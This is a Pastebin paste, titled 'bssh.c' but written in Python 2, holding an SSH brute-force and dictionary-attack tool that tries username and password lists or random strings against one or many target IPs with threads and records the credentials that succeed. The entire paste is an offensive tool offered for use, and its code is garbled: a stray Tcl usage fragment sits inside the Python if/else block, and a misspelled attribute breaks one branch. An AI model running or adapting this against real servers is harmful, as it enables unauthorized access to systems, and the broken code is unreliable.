Advertisement
InsaneZ0r

bssh.c

Oct 16th, 2016
308
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.43 KB | None | 0 0
  1. '''
  2. Created on Jun 25, 2001
  3. @author: PRG
  4. '''
  5.  
  6. import sys
  7. import random
  8. from optparse import OptionParser
  9.  
  10. import Util
  11. from Connection import Connection
  12.  
  13. class SSHBruteForce():
  14.  
  15. def __init__(self):
  16. self.info = "Simple ssh bruteforce by prg"
  17. self.targetIp = ""
  18. self.targetPort = 0
  19. self.targets = []
  20. self.usernames = []
  21. self.passwords = []
  22. self.connections = []
  23. self.amountOfThreads = 0
  24. self.currentThreadCount = 0
  25. self.timeoutTime = 0
  26. self.outputFileName = None
  27. self.singleMode = False
  28. self.verbose = False
  29. self.bruteForceLength = 0
  30. self.bruteForceAttempts = 0
  31. self.bruteForceMode = False
  32. self.characters = "abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  33.  
  34. def startUp(self):
  35. usage = '%s [-i targetIp] [-U usernamesFile] [-P passwordsFile]' % sys.argv[0]
  36.  
  37. optionParser = OptionParser(version = self.info, usage = usage)
  38.  
  39. optionParser.add_option('-i', dest = 'targetIp',
  40. help = 'Ip to attack')
  41. optionParser.add_option('-p', dest = 'targetPort',
  42. help = 'Ip port to attack', default = 22)
  43. optionParser.add_option('-d', dest='typeOfAttack',
  44. help = 'Dictionary Attack', default = False)
  45. optionParser.add_option('-a', dest='attemptAmount',
  46. help = "Number of attempts before stopping", default = 2)
  47. optionParser.add_option('-l', dest='lengthLimit',
  48. help = 'Length of bruteforce strings', default = 8)
  49. optionParser.add_option('-I', dest = 'targetsFile',
  50. help = 'List of IP\'s and ports')
  51. optionParser.add_option('-C', dest = 'combolistFile',
  52. help = 'Combo List file')
  53. optionParser.add_option('-U', dest = 'usernamesFile',
  54. help = 'Username List file')
  55. optionParser.add_option('-P', dest = 'passwordsFile',
  56. help = 'Password List file')
  57. optionParser.add_option('-t', type = 'int', dest = 'threads',
  58. help = 'Amount of Threads', default = 10)
  59. optionParser.add_option('-T', type = 'int', dest = 'timeout',
  60. help = 'Timeout Time', default = 15)
  61. optionParser.add_option('-O', dest = "outputFile",
  62. help = 'Output File Name', default = None)
  63. optionParser.add_option('-v', '--verbose', action='store_true',
  64. dest='verbose', help='verbose')
  65.  
  66. (options, args) = optionParser.parse_args()
  67.  
  68. #First a check is used to see if there is at least a singleIp set or a targetList set
  69. if not options.targetIp and not options.targetsFile:
  70. optionParser.print_help()
  71. sys.exit(1)
  72.  
  73. if {[llength $argv] != 2} {
  74. puts stderr "Usage: $argv0 root@target dictionary\n"
  75. exit }
  76.  
  77. else:
  78. #Check to see if we are running a dictionary attack or a bruteforce
  79. if bool(options.typeOfAttack) == True:
  80. #Then another check to make sure the Username list and passwordlist are filled
  81. if (options.usernamesFile and options.passwordsFile) or options.combolistFile:
  82. #Then we check if it is a single ip only
  83. if options.targetIp and not options.targetsFile:
  84. self.singleMode = True
  85. self.singleTarget(options)
  86. elif not options.targetIp and options.targetsFile:
  87. self.multipleTargets(options)
  88. else:
  89. optionParser.print_help()
  90. sys.exit(1)
  91. else:
  92. optionParser.print_help()
  93. sys.exit(1)
  94. else:
  95. #setup the brtue force
  96. self.bruteForceMode = True
  97. #Then we check if it is a single ip only
  98. if options.targetIp and not options.targetsFile:
  99. self.singleMode = True
  100. self.singleTarget(options)
  101. elif not options.targetIp and options.targetsFilet:
  102. self.multipleTargets(options)
  103. else:
  104. optionParser.print_help()
  105. sys.exit(1)
  106.  
  107. def singleTarget(self,options):
  108. self.targetIp = options.targetIp
  109. self.targetPort = options.targetPort
  110. self.amountOfThreads = options.threads
  111. self.timeoutTime = options.timeout
  112. self.outputFileName = options.outputFile
  113. self.verbose = options.verbose
  114. self.bruteForceLength = options.lengthLimit
  115. self.bruteForceAttempts = options.attemptAmount
  116.  
  117. if bool(options.typeOfAttack):
  118. if options.combolistFile:
  119. self.usernames, self.passwords = self.__seperateDataFromComboList(options.combolistFile)
  120. else:
  121. self.usernames = Util.fileContentsToList(options.usernamesFile)
  122. self.passwords = Util.fileContentsToList(options.passwordsFile)
  123. self.showStartInfo()
  124. self.dictionaryAttackSingle()
  125. else:
  126. self.showStartInfo()
  127. self.bruteForceSingle()
  128.  
  129. def multipleTargets(self,options):
  130. self.targets = Util.fileContentsToTuple(options.targetsFile)
  131. self.amountOfThreads = options.threads
  132. self.timeoutTime = options.timeout
  133. self.outputFileName = options.outputFile
  134. self.verbose = options.verbose
  135. self.bruteForceLength = options.lengthLimit
  136. self.bruteForceAttempts = options.attemptAmount
  137.  
  138. if bool(options.typeOfAttack):
  139. if options.combolistFile:
  140. self.usernames, self.passwords = self.__seperateDataFromComboList(options.combolistFile)
  141. else:
  142. self.usernames = Util.fileContentsToList(options.usernamesFile)
  143. self.passwords = Util.fileContentsToList(options.passwordsFile)
  144. self.showStartInfo()
  145. self.dictionaryAttackMultiple()
  146. else:
  147. self.showStartInfo()
  148. self.bruteForceMultiple()
  149.  
  150. @staticmethod
  151. def __seperateDataFromComboList(comboListFile):
  152. usernames = []
  153. passwords = []
  154. for t in Util.fileContentsToTuple(comboListFile):
  155. usernames.append(t[0])
  156. passwords.append(t[1])
  157. return usernames, passwords
  158.  
  159.  
  160. def showStartInfo(self):
  161. print "[*] %s " % self.info
  162. if self.singleMode:
  163. print "[*] Brute Forcing %s " % self.targetIp
  164. else:
  165. print "[*] Loaded %s Targets " % str(len(self.targets))
  166.  
  167. if self.bruteForceMode == False:
  168. print "[*] Loaded %s Usernames " % str(len(self.usernames))
  169. print "[*] Loaded %s Passwords " % str(len(self.passwords))
  170. print "[*] Brute Force Starting "
  171.  
  172. if self.outputFileName is not None:
  173. Util.appendLineToFile("%s " % self.info, self.outputFileName)
  174. if self.singleMode:
  175. Util.appendLineToFile("Brute Forcing %s " % self.targetIp, self.outputFileName)
  176. else:
  177. Util.appendLineToFile("Loaded %s Targets " % str(len(self.targets)), self.outputFileName)
  178. Util.appendLineToFile("Loaded %s Usernames " % str(len(self.usernames)), self.outputFileName)
  179. Util.appendLineToFile("Loaded %s Passwords " % str(len(self.passwords)), self.outputFileName)
  180. Util.appendLineToFile("Brute Force Starting ", self.outputFileName)
  181.  
  182. def dictionaryAttackSingle(self):
  183. for username in self.usernames:
  184. for password in self.passwords:
  185.  
  186. self.createConnection(username, password, self.targetIp,
  187. self.targetPort, self.timeoutTime)
  188. if self.currentThreadCount == self.amountOfThreads:
  189. self.currentThreadResults()
  190. self.currentThreadResults()
  191.  
  192. def dictionaryAttackMultiple(self):
  193. for target in self.targets:
  194. for username in self.usernames:
  195. for password in self.passwords:
  196. self.createConnection(username, password, target[0],
  197. int(target[1]), self.timeoutTime)
  198. if self.currentThreadCount == self.amountOfThreads:
  199. self.currentThreadResults()
  200. self.currentThreadResults()
  201.  
  202. def bruteForceSingle(self):
  203. for x in range(int(self.bruteForceAttempts)):
  204. randomUserString = ""
  205. randomPasswordString = ""
  206. randomStringLength = random.randint(4,int(self.bruteForceLength))
  207. for y in range(randomStringLength):
  208. randomUserString = randomUserString+random.choice(self.characters)
  209.  
  210. randomStringLength = random.randint(4,int(self.bruteForceLength))
  211.  
  212. for z in range(randomStringLength):
  213. randomPasswordString = randomPasswordString + random.choice(self.characters)
  214.  
  215. self.createConnection(randomUserString, randomPasswordString, self.targetIp,
  216. self.targetPort, self.timeoutTime)
  217. if self.currentThreadCount == self.amountOfThreads:
  218. self.currentThreadResults()
  219. self.currentThreadResults()
  220.  
  221. def bruteForceMultiple(self):
  222. for target in self.targets:
  223. for x in range(self.bruteForceAttempts):
  224. randomUserString = ""
  225. randomPasswordString = ""
  226. randomStringLength = random.randint(4,self.bruteForceLength)
  227.  
  228. for y in range(randomStringLength):
  229. randomUserString = randomUserString+random.choice(self.characters)
  230.  
  231. randomStringLength = random.randint(4,self.bruteForceLength)
  232.  
  233. for z in range(randomStringLength):
  234. randomPasswordString = randomPasswordString + random.choice(self.characters)
  235.  
  236. self.createConnection(randomUserString, randomPasswordString, target,
  237. self.targetPort, self.timeoutTime)
  238. if self.currentThreadCount == self.amountOfThreads:
  239. self.currentThreadResults()
  240.  
  241. self.currentThreadResults()
  242.  
  243. def createConnection(self, username, password, targetIp, targetPort, timeoutTime):
  244. connection = Connection(username, password, targetIp, targetPort, timeoutTime)
  245. connection.start()
  246.  
  247. self.connections.append(connection)
  248. self.currentThreadCount += 1
  249. if self.verbose:
  250. print "[*] Adding Target: {0}, Testing with username: {1}, testing with password: {2}" .format(targetIp, username, password)
  251.  
  252. def currentThreadResults(self):
  253. for connection in self.connections:
  254. connection.join()
  255.  
  256. if connection.status == 'Succeeded':
  257. print "[#] TargetIp: %s " % connection.targetIp
  258. print "[#] Username: %s " % connection.username
  259. print "[#] Password: %s " % connection.password
  260.  
  261. if self.outputFileName is not None:
  262. Util.appendLineToFile("TargetIp: %s " % connection.targetIp, self.outputFileName)
  263. Util.appendLineToFile("Username: %s " % connection.username, self.outputFileName)
  264. Util.appendLineToFile("Password: %s " % connection.password, self.outputFileName)
  265.  
  266. if self.singleMode:
  267. self.completed()
  268. else:
  269. pass
  270.  
  271. self.clearOldThreads()
  272.  
  273. def clearOldThreads(self):
  274. self.connections = []
  275. self.threadCount = 0
  276.  
  277. def completed(self):
  278. print "[*] Completed Brute Force."
  279. sys.exit(0)
  280.  
  281. if __name__ == '__main__':
  282. sshBruteForce = SSHBruteForce()
  283. sshBruteForce.startUp()
  284. print "[*] Brute Force Completed"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement